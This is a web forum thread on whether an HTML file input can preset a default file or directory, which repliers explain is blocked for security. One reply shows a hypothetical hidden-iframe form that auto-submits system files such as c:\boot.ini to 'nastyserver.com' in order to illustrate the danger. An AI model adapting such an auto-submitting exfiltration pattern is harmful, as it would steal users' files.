input type=file

P

Paul Moffitt

is it possible to define a default or start up directory with input
type="file" field type?

If so, is it also possible to filter by another option box selection?

If so, how so?

Thank you

Paul Moffitt
 
R

Ray at

No, it is not. For security reasons, you cannot pre-specify any sort of
value for a file input. (Unless you run across someone using IE 1 or
something maybe...)

Ray at work
 
A

Aaron Bertrand - MVP

is it possible to define a default or start up directory with input
type="file" field type?

No. What would prevent you from doing this?

<form method=post action=http://nastyserver.com/ target=hiddenframe>
<input type=file value='c:\boot.ini'>
<input type=file value='c:\windows\system32\user.dat'>
....
etc etc
....
</form>
<iframe name=hiddenframe width=1 height=1 style='visibility:hidden'>
</iframe>
<script>
document.forms[0].submit();
</script>

I rather like this security mechanism. If your users can't figure out how
to use a browse... dialog, it might be time to upgrade to better users.
 
J

John Beschler

it might be time to upgrade to better users.


Where do I request this upgrade? I didn't even know I had
that option. Do I send the old ones (users) back to you?

:)

John
 
A

Aaron Bertrand - MVP

Do I send the old ones (users) back to you?

Gosh no. I think I'm about 5 versions ahead of you. :)
 

Ask a Question

Want to reply to this thread or ask your own question?

You'll need to choose a username for the site, which only take a couple of moments. After that, you can post your question and our members will help you out.

Ask a Question

Members online

No members online now.

Forum statistics

Threads
474,085
Messages
2,570,597
Members
47,218
Latest member
GracieDebo

Latest Threads

Top